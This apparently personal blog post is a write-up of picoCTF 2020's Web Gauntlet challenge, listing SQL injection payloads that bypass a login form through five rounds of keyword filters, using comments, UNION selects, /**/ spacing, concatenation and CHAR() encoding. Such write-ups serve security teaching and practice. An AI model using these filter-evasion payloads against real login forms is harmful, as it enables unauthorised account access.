zacheller@home:~/blog$

picoCTF 2020 Mini-Competition - Web Gauntlet SQL Injection


In this challenge, we are linked to a login form we are meant to bypass with SQL injection. At each level the filter changes, so we have to update your injection as necessary.

Round 1 - filter: or

Use basic injection and comment out the rest of the line.

input: admin'--

SELECT * FROM users WHERE username='admin'--' AND password='a'

Round 2 - filter: or and like = –

Without --, check for other ways to comment. We can also use UNION to get our specific user.

input: admin'/*

SELECT * FROM users WHERE username='admin'/*' AND password='a'

input: ' union select * from users where username in("admin")/*

SELECT * FROM users WHERE username='' union select * from users where username in("admin")/* AND password='a'

Round 3 - filter: or and = like > < –

The first injection from the previous round still works here, but let’s try to get the second to work too. Spaces are now blocked, but we can use /**/ comments for the same effect. I tried %20 to replace all the spaces, but it was not effective.

input: admin'/*

SELECT * FROM users WHERE username='admin'/*' AND password='a'

input: '/**/union/**/select*from/**/users/**/where/**/username/**/in("admin")/*

SELECT * FROM users WHERE username=''/**/union/**/select*from/**/users/**/where/**/username/**/in("admin")/*' AND password='a'

Round 4 - filter: or and = like > < – admin

In SQLITE, || is a concatenation operator. The simple solution is to simply split up “admin” in a way to bypass the filter. A more complicated solution could include encoding encode “admin” in ASCII number code and using the SQL CHAR() function to decode it.

input: adm'||'in'/*

SELECT * FROM users WHERE username='adm'||'in'/* AND password='a'

input: '/**/union/**/select*from/**/users/**/where/**/username/**/in(char(97,100,109,105,110))/*

SELECT * FROM users WHERE username=''/**/union/**/select*from/**/users/**/where/**/username/**/in(char(97,100,109,105,110))/*' AND password='a'

Round 5 - filter: or and = like > < – union admin

Splitting up “admin” still works as only UNION is additionally blacklisted.

input: adm'||'in'/*

SELECT * FROM users WHERE username='adm'||'in'/* AND password='a'